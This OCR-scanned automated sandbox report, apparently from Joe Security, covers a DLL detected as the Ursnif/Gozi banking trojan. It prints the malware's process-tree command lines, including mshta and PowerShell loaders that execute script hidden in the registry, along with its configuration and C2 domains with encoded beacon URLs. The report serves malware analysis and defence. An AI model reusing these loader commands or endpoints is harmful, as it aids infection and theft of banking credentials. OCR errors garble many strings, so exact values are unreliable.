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Analysis Report 2200.dll
Overview

General Information Detection

Sample 2200.dll
Name: MALICIOUS

Analysis ID: 352230

Classification

Detected Gozi e-Banking trojan

Found malware configuration

MD5: L

€07d47927df9123. Malicious sample detected (through ...
SHA1L:

b55a9ae7adccd4.. Multi AV Scanner detection for doma...
SHAZ256: ©c849h895a0c82..

Multi AV Scanner detection for subm...

Tags:

Most interesting Screenshot:

Sigma detected: Dot net compiler

Yara detected Ursnif

Allocates memory in foreign process...

Gozi Ursn Changes memory attributes in foreig...
100

w
«Q
>
2
(=
=
®
(7]

o

S

Score: Compiles code for process injection ...
Range: 0-100 Creates a thread in another. existing ...
Whitelisted: false

) Disables SPDY (HTTP compression...
Confidence: 100%

Startup

= System is w10x64

e B loaddli32.exe (PID: 4816 cmdline: loaddll32.exe 'C:\Users\user\Desktop\2200.dIl' MD5: 99D621E00EFCOB8F396F38D5555EB078)

o W regsvr32.exe (PID: 5032 cmdline: regsvr32.exe /s C:\Users\user\Desktop\2200.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
o [

control.exe (PID: 5152 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
. D rundll32.exe (PID: 2848 cmdline: 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
cmd.exe (PID: 3496 cmdline: C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
. @ iexplore.exe (PID: 4344 cmdline: C:\Program Files\Internet Exploreniexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8SAC5E7596)
. @ iexplore.exe (PID: 6012 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:4344 CREDAT:17410 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 5220 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:4344 CREDAT:82962 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 5484 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:4344 CREDAT:17422 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. @ iexplore.exe (PID: 5612 cmdline: 'C:\Program Files (x86)\Internet ExploreIEXPLORE.EXE' SCODEF:4344 CREDAT:17430 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. mshta.exe (PID: 5676 cmdline: 'C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>resize To(1,1);eval(new ActiveXObject("WScript.Shell').regread('HKCU\\\Softwa
re\AppDataLow\\Software\\Microsoft\86EC23E5-2D5A-A875-E71A-B15COBEE7550\\Actidsrv'));if('window.flag)close()</script>' MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
o E¥ powershell.exe (PID: 3848 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Soft
ware\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15COBEE7550'").basebapi)) MD5: 95000560239032BC68B4C2FDFCDEF913)
conhost.exe (PID: 6140 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e W csc.exe (PID: 3912 cmdline: 'C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\ljarxop3\ljarxop
3.cmdline’ MD5: B46100977911A0C9FB1C3E5F16A5017D)
o W] cvtres.exe (PID: 5656 cmdline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user

\AppData\Local\Temp\RESA74F.tmp' ‘c:\Users\user\AppData\Local\Temp\ljarxop3\CSC1A4E6FF24B5843DD91B4B2D685136E16. TMP' MD5:
33BBBBEOB4F547324D93D5D2725CAC3D)

e W csc.exe (PID: 5896 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\usen\AppData\Local\Temp\huoluowl1\huoluow
1.cmdline’ MD5: B46100977911A0C9FB1C3E5F16A5017D)
e B cvires.exe (PID: 204 cmdline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 /OUT:C:\Users\user

\AppData\Local\Temp\RESB5ES5.tmp' ‘c:\Users\user\AppData\Local\Temp\huoluowl\CSCD4A633EEA14B4698A251A533E137966. TMP' MD5:
33BBBBEOB4F547324D93D5D2725CAC3D)

o W explorer.exe (PID: 3424 cmdline: MD5: AD5296B280E8F522A8A897C96BABOE1D)
e B RuntimeBroker.exe (PID: 3656 cmdline: MD5: C7E36B4A5D9E6AC600DD7A0EOD52DACS)
. cmd.exe (PID: 2204 cmdline: cmd /C ‘nslookup myip.opendns.com resolverl.opendns.com > C:\Users\user\AppData\Local\Temp\A4AC.bil" MD5:
4E2ACF4F8A396486AB4268C94A6A245F)
e B conhostexe (PID: 4560 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration
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Threatname: Ursnif

{
"server": "730",
"os": "10.0_0_17134_x64",
"version": "250171",
"uptime": "363",
"system": "d18bca24401b3a0555b04f62f946271ehh~",
"size": "201282",
"ere": 2",
"action": "00000000",
"id": "2200",
"time": "1613090881",
"user": "902d52678695dc15e71ab15cab4calf8",
"hash": "Oxcf6edd71",
"soft": "3"
}

Yara Overview

Memory Dumps

Source

00000001.00000003.778286799.0000000004EE8000.00000
004.00000040.sdmp

00000001.00000003.843211689.0000000000B50000.00000
004.00000001.sdmp

00000001.00000003.778174223.0000000004EE8000.00000
004.00000040.sdmp

00000001.00000003.778148472.0000000004EE8000.00000
004.00000040.sdmp

00000001.00000003.778122341.0000000004EE8000.00000
004.00000040.sdmp

Sigma Overview

System Summary:

Rule

JoeSecurity_Ursnif

JoeSecurity_Ursnif

JoeSecurity_Ursnif

JoeSecurity_Ursnif

JoeSecurity_Ursnif

Description Author Strings
Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Click to see the 23 entries

Sigma detected: Dot net compiler compiles file from suspicious location

Signature Overview

@ Click to jump to signature section

Copyright null 2021

@ AV Detection

® Compliance

@ Spreading

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

@ Remote Access Functionality
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AV Detection: | |

Found malware configuration
Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Compliance: | |

Uses new MSVCR DlIs
Uses secure TLS version for HTTPS connections

Binary contains paths to debug symbols

Key, Mouse, Clipboard, Microphone and Screen Capturing:

L

Yara detected Ursnif

E-Banking Fraud:

=

Detected Gozi e-Banking trojan

Yara detected Ursnif

System Summary:

=

Malicious sample detected (through community Yara rule)

=

Data Obfuscation:

E‘

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

HIPS | PFW | Operating System Protection Evasion:

Stealing of Sensitive Information:

Yara detected Ursnif
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Remote Access Functionality: -i.

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Comm
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection  Exfiltration and Cc¢
Valid Windows DLL Side-  DLL Side- Obfuscated Filesor  OS System Time Remote Archive Exfiltration Over Other  Ingress
Accounts Management Loading Loading Information Credential  Discovery Services Collected Network Medium Transf
Instrumentation Dumping Data
Default Native API Valid Valid Software Packing LSASS Account Discovery Remote Email Exfiltration Over Encryp
Accounts Accounts g Accounts Memory Desktop Collection g Bluetooth Chann
Protocol
Domain Command and Logon Script Access Token DLL Side-Loading Security File and Directory SMB/Windows Data from Automated Exfiltration Non-
Accounts Scripting (Windows)  Manipulation Account Discovery Admin Shares Network Applice
Interpreter Manager Shared Layer
Drive Protoc
Local PowerShell Logon Script Process Masquerading NTDS System Information Distributed Input Scheduled Transfer Applice
Accounts (Mac) Injection Discovery Component Capture Layer
Object Model Protoc
Cloud Cron Network Network Logon  Valid Accounts LSA Security Software SSH Keylogging Data Transfer Size Fallbac
Accounts Logon Script Script Secrets Discovery Limits Chann
Replication Launchd Rc.common Rc.common Access Token Cached Virtualization/Sandbox VNC GUI Input Exfiltration Over C2 Multibe
Through Manipulation Domain Evasion Capture Channel Comm
Removable Credentials
Media
External Scheduled Task  Startup Startup Items Virtualization/Sandbox DCSync Process Discovery Windows Web Portal  Exfiltration Over Comm
Remote Items Evasion Remote Capture Alternative Protocol Used F
Services Management
Drive-by Command and Scheduled  Scheduled Process Proc Application Window  Shared Credential Exfiltration Over Applice
Compromise Scripting Task/Job Task/Job Injection Filesystem Discovery Webroot API Hooking Symmetric Encrypted Layer |
Interpreter Non-C2 Protocol
Exploit PowerShell At (Linux) At (Linux) Regsvr32 letc/passwd System Owner/User  Software Data Staged Exfiltration Over Web P
Public- and Discovery Deployment Asymmetric Encrypted
Facing letc/shadow Tools Non-C2 Protocol
Application
Supply AppleScript At At (Windows) RundlI32 Network Process Discovery Taint Shared Local Data  Exfiltration Over File Tr:
Chain (Windows) Sniffing Content Staging Unencrypted/Obfuscated Protoc
Compromise Non-C2 Protocol

Behavior Graph
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Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

-
[1:]

«Q
[}
=
o

T mnEDEC]

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet
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A https://vewvemsn.com/de-chitacidzichp ~ @ & || Search...

A MSN Schweiz | Sign in Hot...

Microsoft tritt fiir den Schutz lhrer Privatsphdre ein.

Microsoft und uns: nbieter verwenden Cookies, um Informationen wie eindeutige IDs zu speichern und darauf zuzugreifen,
sodass unsere Dienste und Werbeanzeigen bereitge: verwaltet und verbessert werden kannen. n Sie zustimmen,
personalisieran MSN die angezeigten Inhalte und Anzeigen. Sie kénnen "Akzeptieren’ auswahlen, um dieser Verwendung
Zuzustimmen, oder auf ‘Zwecke anzeigen® Klicken, um Ihre Optionen zu iiberpriifen. Sie kénnen Ihre Auswahl unter ‘Einstellungen
verwalten' unten auf dieser Seite 4ndem. Datenschutzerkidrung.

Wir und unserer Partner verarbeiten Daten, um

prazise Geolokalisierungsdaten zu verwenden und aktiv Gerateeigenschaften zur Identifizierung zu scannen. Dies dient dazu,

Infarmationen auf einem Gerat zu speichern und dara greifen sowie personalisierte Anzeigen und Inhalte, Anzeigen- und
Inhaltsmessung, Einblicke i die Zielgruppe nd Informatianen zur Produktentwicklung bereitzustellen

Akzep

Zwecke anzeigen

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
2200.dll
2200.dll
2200.dll

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source
tls13.taboola.map.fastly.net
c56.lepini.at

api3.lepini.at

edge.gycpi.b.yahoodns.net

URLs
Copyright null 2021

Detection
16%
11%
39%

Detection
0%

8%

11%

0%

Scanner
Virustotal
Metadefender

ReversingLabs

Scanner
Virustotal
Virustotal
Virustotal

Virustotal

Label

Win32.Trojan.Ursnif

Label

Link
Browse

Browse

Link

Browse
Browse
Browse

Browse
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https://www.virustotal.com/gui/file/cc849b895a0c8237f81ca3fe6395929713fb7b3f0a7744d3ddc3cb08f9f4351d/detection/f-cc849b895a0c8237f81ca3fe6395929713fb7b3f0a7744d3ddc3cb08f9f4351d-1612998512
https://www.metadefender.com/#!/results/file/bzIxMDIxMUpNa2lLbWhqRU9HbjN1eGY2a001/regular/analysis
https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1609243559
https://www.virustotal.com/gui/url/e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e/detection/u-e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e-1612971616
https://www.virustotal.com/gui/url/672c3b8826467b822a4f52a2ea11c828f9483ba7c6f4a4ad70c12ddc19fd0f5b/detection/u-672c3b8826467b822a4f52a2ea11c828f9483ba7c6f4a4ad70c12ddc19fd0f5b-1612153287
https://www.virustotal.com/gui/url/4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495/detection/u-4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495-1610483999

Source Detection Scanner Label Link

hitp://www.mercadolivre.com.br/ 0% URL Reputation safe
hitp://www.mercadolivre.com.br/ 0% URL Reputation safe
hitp://www.mercadolivre.com.br/ 0% URL Reputation safe
hitp://www.merlin.com.pl/favicon.ico 0% URL Reputation safe
hitp://www.merlin.com.pl/favicon.ico 0% URL Reputation safe
hitp://www.merlin.com.pl/favicon.ico 0% URL Reputation safe
hitp:/fiwww.dailymail.co.uk/ 0% URL Reputation safe
hitp:/fiwww.dailymail.co.uk/ 0% URL Reputation safe
hitp:/fiwww.dailymail.co.uk/ 0% URL Reputation safe
hitp://constitution.org/usdeclar.txtC: 0% Avira URL Cloud safe
hitp://iwww.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://\www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://\www.galapagosdesign.com/DPlease 0% URL Reputation safe
hitp://busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe
hitp://busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe
hitp://busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/favicon.ico 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/favicon.ico 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/favicon.ico 0% URL Reputation safe
hitp://it.search.dada.net/favicon.ico 0% URL Reputation safe
hitp://it.search.dada.net/favicon.ico 0% URL Reputation safe
hitp://it.search.dada.net/favicon.ico 0% URL Reputation safe
hitp://search.hanafos.com/favicon.ico 0% URL Reputation safe
hitp://search.hanafos.com/favicon.ico 0% URL Reputation safe
hitp://search.hanafos.com/favicon.ico 0% URL Reputation safe
hitp://cgi.search.biglobe.ne.jp/favicon.ico 0% Avira URL Cloud safe
hitp://search.msn.co.jp/results.aspx?q= 0% URL Reputation safe
hitp://search.msn.co.jp/results.aspx?q= 0% URL Reputation safe
hitp://search.msn.co.jp/results.aspx?q= 0% URL Reputation safe
hitp://buscar.ozu.es/ 0% Avira URL Cloud safe
hitp://search.auction.co.kr/ 0% URL Reputation safe
hitp://search.auction.co.kr/ 0% URL Reputation safe
hitp://search.auction.co.kr/ 0% URL Reputation safe
hitp://www.pchome.com.tw/favicon.ico 0% URL Reputation safe
hitp://www.pchome.com.tw/favicon.ico 0% URL Reputation safe
hitp://www.pchome.com.tw/favicon.ico 0% URL Reputation safe
hitp://browse.guardian.co.uk/favicon.ico 0% URL Reputation safe
hitp://browse.guardian.co.uk/favicon.ico 0% URL Reputation safe
hitp://browse.guardian.co.uk/favicon.ico 0% URL Reputation safe
hitp://google.pchome.com.tw/ 0% URL Reputation safe
hitp://google.pchome.com.tw/ 0% URL Reputation safe
hitp://google.pchome.com.tw/ 0% URL Reputation safe
http:/f 0% Avira URL Cloud safe

api3.lepini.at/apil/RlcDr3iQ_2F5HIV/n8436tIkJR8PrSjzuD/qVR2EWMgX/JHao30Cb5Ma6tPeJDvPO/Qpt0
UP3yCDsC9Fp5cQv/WC3luav8wdMdeqfAWIsOIT/3HapmLIEH6Sr8/S94_2BZ_/2FhcJtKqyYatNIzqU2kqw
4R/i383XEDNfh/7iCEha60plcDi0Gsi/Y kbbHV8IpXBQ/omONFOViOAW/RyBEHSBgFIPiJM/CB37HmU2IDcIA
sK_2BgfJ/DHyfteBHJI3c0Jp8g/vCwxsQxKg_2FRoX/tZDGwkMH_2FCJ5tFJ3/Imp5riyeK/ktUBEALNO1CIw

u/a3KCmmi

hitp:/fiwww.ozu.es/favicon.ico 0% Avira URL Cloud safe
hitp://search.yahoo.co.jp/favicon.ico 0% URL Reputation safe
hitp://search.yahoo.co.jp/favicon.ico 0% URL Reputation safe
hitp://search.yahoo.co.jp/favicon.ico 0% URL Reputation safe
hitp:/fiwww.gmarket.co.kr/ 0% URL Reputation safe
hitp:/fiwww.gmarket.co.kr/ 0% URL Reputation safe
hitp:/fiwww.gmarket.co.kr/ 0% URL Reputation safe
hitp://www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://\www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://\www.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp://https://onedrive.live.com;OneDrive-App 0% Avira URL Cloud safe
http:/f 0% Avira URL Cloud safe

api3.lepini.at/apil/9tgtwLjb0tU0zx/gjkgUIt_2BDAbjsOGmMIiGf/jGKajlUv_2BCCAVj/GG7iDRArA8IwTDs/umy

hHUUFxniPZSwiB1/EsmzIl052W/VaAuas8dozcem21Mrlfi/9YUq_2BOx3S4HJ73aAi/VsOwStZxRwr04db1lS
G2ZhF/SDvfPYnIQuY21/wpQuP8zD/NKJI8gswNFYPIJUNd52s2mHI/F5u4SKY7Sh/kxNMhGHUIS6M7up7
O/RKp4_2FZDHjQ/IbZOJImdSxil/58gaA96_2FkxAQ/MNrt1jQAMrd60eL4xAxxk/XtosXkxYrgp_2FaY/c1Ab

OulAwuv/A
hitp://search.orange.co.uk/favicon.ico 0% URL Reputation safe
hitp://search.orange.co.uk/favicon.ico 0% URL Reputation safe
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Source Detection Scanner Label Link

hitp://search.orange.co.uk/favicon.ico 0% URL Reputation safe
hitp://iwww.iask.com/ 0% URL Reputation safe
hitp://iwww.iask.com/ 0% URL Reputation safe
hitp://iwww.iask.com/ 0% URL Reputation safe
hitp://service2.bfast.com/ 0% URL Reputation safe
hitp://service2.bfast.com/ 0% URL Reputation safe
hitp://service2.bfast.com/ 0% URL Reputation safe
hitp://www.news.com.au/favicon.ico 0% URL Reputation safe
hitp://www.news.com.au/favicon.ico 0% URL Reputation safe
hitp://www.news.com.au/favicon.ico 0% URL Reputation safe
hitp:/fiwww.kkbox.com.tw/ 0% URL Reputation safe
hitp:/fiwww.kkbox.com.tw/ 0% URL Reputation safe
hitp:/fiwww.kkbox.com.tw/ 0% URL Reputation safe
hitp://search.goo.ne.jp/favicon.ico 0% URL Reputation safe
hitp://search.goo.ne.jp/favicon.ico 0% URL Reputation safe
hitp://search.goo.ne.jp/favicon.ico 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/ 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/ 0% URL Reputation safe
hitp:/fiwww.etmall.com.tw/ 0% URL Reputation safe
hitp:/fwww.amazon.co.uk/ 0% URL Reputation safe
hitp:/fwww.amazon.co.uk/ 0% URL Reputation safe
hitp:/fwww.amazon.co.uk/ 0% URL Reputation safe
hitp://www.ashargalawsat.com/favicon.ico 0% URL Reputation safe
hitp://www.ashargalawsat.com/favicon.ico 0% URL Reputation safe
hitp://www.ashargalawsat.com/favicon.ico 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
contextual.media.net 184.30.24.22 true false high
tls13.taboola.map.fastly.net 151.101.1.44 true false e 0%, Virustotal, Browse unknown
hblg.media.net 184.30.24.22 true false high
N = O 7 ¥ = 77
Ig3.media.net 184.30.24.22 true false high
resolverl.opendns.com 208.67.222.222 true false high
api3.lepini.at 35.228.31.40 true false e 11%, Virustotal, Browse unknown
geolocation.onetrust.com 104.20.185.68 true false high
edge.gycpi.b.yahoodns.net 87.248.118.23 true false e 0%, Virustotal, Browse unknown
apil0.laptok.at 35.228.31.40 true false unknown
Wwww.msh.com unknown unknown false high
srth.msn.com unknown unknown false high
e 7 = 00 ¥ S O e
s.yimg.com unknown unknown false high
web.vortex.data.msn.com unknown unknown false high
cvision.media.net unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

hitp:// false e Avira URL Cloud: safe unknown
api3.lepini.at/apil/RIcDr3iQ_2F5HIV/n8436tIkJR8PrSjzuD/qVR2EWMgX/JHao30Cb5Ma6tPeJ
DvP0/QptOUP3yCDsC9Fp5cQv/WC3luav8wdMdegfAWIsOIT/3HapmLIEH6Sr8/S94_2BZ_/2Fh
cJtKqyYatNIzqU2kqw4R/i383XEDNTfh/7iCEha60plcDi0Gsi/YkbbHV8IpXBQ/omONFOVIOAW/Ry
BEHsBgFIPiJM/CB37HmU2IDclAsK_2BgfJ/DHyfteBHI3c0Jp8g/vCwxsQxKg_2FRoX/tZDGwk

MH_2FCJ5tFJ3/Imp5riyeK/ktUBEALNO1Clwu/a3KCmmi

hitp:// false e Avira URL Cloud: safe unknown
api3.lepini.at/apil/9tgtwLjb0tU0zx/gjkgUlt_2BDAbjsOGmIGf/iGKajluv_2BCCAVj/GG7iDRArA8I
WTDs/umyhHUUFxniPZSwiB1/EsmzI052W/VaAuas8dozcem21Mrlfi/9YUq_2BOx3S4HJ73aAi/
VsOwStZxRwr04db1SG2ZhF/SDvPYnIQuY21/wpQuP8zD/NKJI8gswNFYPIJUNd52s2mHI/F5u
4SKY7Sb/kxNMhGHUIS6M7up70/RKp4_2FZDHjQ/JbZOJmdSxil/58gaA96_2FkxAQ/MNrt1jQ

AMrd60eL4xAxxk/XtosXkxYrgp_2FaY/c1AbOulAwuv/A
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https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1609243559
https://www.virustotal.com/gui/url/e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e/detection/u-e3d19c1bab608d1939e137352095dcf63f15d242ec4617f0de7491f089c1fb4e-1612971616
https://www.virustotal.com/gui/url/672c3b8826467b822a4f52a2ea11c828f9483ba7c6f4a4ad70c12ddc19fd0f5b/detection/u-672c3b8826467b822a4f52a2ea11c828f9483ba7c6f4a4ad70c12ddc19fd0f5b-1612153287
https://www.virustotal.com/gui/url/4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495/detection/u-4ea395f604c14ca842260dd1a6d72233012529a1accf583b677810769cd61495-1610483999

URLs from Memory and Binaries

Name

hitp://search.chol.com/favicon.ico

hitp://www.mercadolivre.com.br/

hitp://www.merlin.com.pl/favicon.ico

hitp://iwww.dailymail.co.uk/

hitp://constitution.org/usdeclar.txtC:

hitp://www.fontbureau.com/designers

hitp://fr.search.yahoo.com/

hitp://in.search.yahoo.com/

hitp://img.shopzilla.com/shopzilla/shopzilla.ico

hitp://https://res-
a.akamaihd.net/__media__/pics/8000/72/941/fallbackl.jpg

hitp://https://www.onenote.com/notebooks?
WT.mc_id=MSN_OneNote_Recent&auth=1&wdorigin=msn

hitp://\www.galapagosdesign.com/DPlease

hitp://msk.afisha.ru/

hitp:/fiwww.reddit.com/

hitp://busca.igbusca.com.br//app/static/images/favicon.ico

hitp://https://sp.booking.com/index.html?
aid=1589774&label=travelnavlink

hitp:/fiwww.ya.com/favicon.ico

hitp:/fiwww.etmall.com.tw/favicon.ico

hitp://it.search.dada.net/favicon.ico

hitp://search.hanafos.com/favicon.ico

hitp://cgi.search.biglobe.ne.jp/favicon.ico

hitp://https://amzn.to/2TTxhNg

hitp://https://www.skype.com/go/onedrivepromo.download?
cm_mmc=MSFT_2390_MSN-com

hitp://search.msn.co.jp/results.aspx?q=

Copyright null 2021

Source

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

regsvr32.exe, 00000001.0000000
3.843211689.0000000000B50000.0
0000004.00000001.sdmp, powersh
ell.exe, 00000010.00000003.837
542203.000001895DE90000.000000
04.00000001.sdmp, explorer.exe,
00000017.00000003.859361649.
0000000002BB0000.00000004.0000
0001.sdmp, control.exe, 000000
18.00000002.863378164.00000000
0099E000.00000004.00000001.sdmp,
rundlI32.exe, 0000001A.0000
0003.862721568.0000016D9CE9000
0.00000004.00000001.sdmp

explorer.exe, 00000017.0000000
0.857393572.000000000B970000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

{CFBA71BE-6CCB-11EB-90EB-ECF4B
BEA1588}.dat.3.dr

85-0f8009-68ddb2abl[1].js.4.dr

explorer.exe, 00000017.0000000
0.857393572.000000000B970000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

msapplication.xml4.3.dr

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

de-ch[1].htm.4.dr

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

de-ch[1].htm.4.dr
85-0f8009-68ddb2ab[1].js.4.dr

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

safe
safe
safe

safe
safe
safe

safe
safe
safe

Avira URL Cloud: safe

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

URL Reputation:
URL Reputation:
URL Reputation:

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

safe
safe
safe

Avira URL Cloud: safe

URL Reputation:
URL Reputation:
URL Reputation:

safe
safe
safe

Reputation

high

unknown

unknown

unknown

unknown

high

high

high

high

high

high

unknown

high

high

unknown

high

high

unknown

unknown

unknown

unknown

high

high

unknown
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Name

hitp://buscar.ozu.es/

hitp://https://www.msn.com/de-ch

hitp:/f/www.microsofttranslator.com/BVPrev.aspx?

ref=IE8Activity

hitp:/fiwww.ask.com/

hitp:/fiwww.google.it/

hitp://search.auction.co.kr/

hitp:/fwww.amazon.de/

hitp://sads.myspace.com/

hitp://https://www.msn.com/de-ch/?
ocid=iehp&item=deferred_page%3al&ignorejs=webcore%2fm
odules%2fjsh

hitp://www.pchome.com.tw/favicon.ico

hitp://browse.guardian.co.uk/favicon.ico

hitp://google.pchome.com.tw/

hitp://list.taobao.com/browse/search_visual.htm?n=15&q=

hitp://www.rambler.ru/favicon.ico

hitp://https://onedrive.live.com/?qt=mru;OneDrive-App
hitp://https://www.skype.com/de

hitp://https://www.msn.com/de-ch/news/other/zu-
dr%c3%a4ngeln-bis-man-geimpft-wird-bringt-gar-nichts-der-inf

hitp://uk.search.yahoo.com/

hitp://https://www.msn.com/de-ch/news/other/screen-zeigt-
porno-mitten-in-z%c3%bcrich-nicht-der-erste-vorfal

hitp:/fiwww.ozu.es/favicon.ico

hitp://search.sify.com/

hitp://openimage.interpark.com/interpark.ico

hitp://search.yahoo.co.jp/favicon.ico

hitp:/fiwww.gmarket.co.kr/

hitp://\www.founder.com.cn/cn/bThe

hitp://search.nifty.com/

hitp://https://onedrive.live.com/?
wt.mc_id=0o0_msn_msnhomepage_header

hitp:/fiwww.google.si/

hitp://https://onedrive.live.com;OneDrive-App

Copyright null 2021

Source

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

de-ch[1].htm.4.dr

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

de-ch[1].htm.4.dr

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
0000002.00000001.sdmp

explorer.exe, 00000017.0000000
0.851454535.0000000006BC3000.0
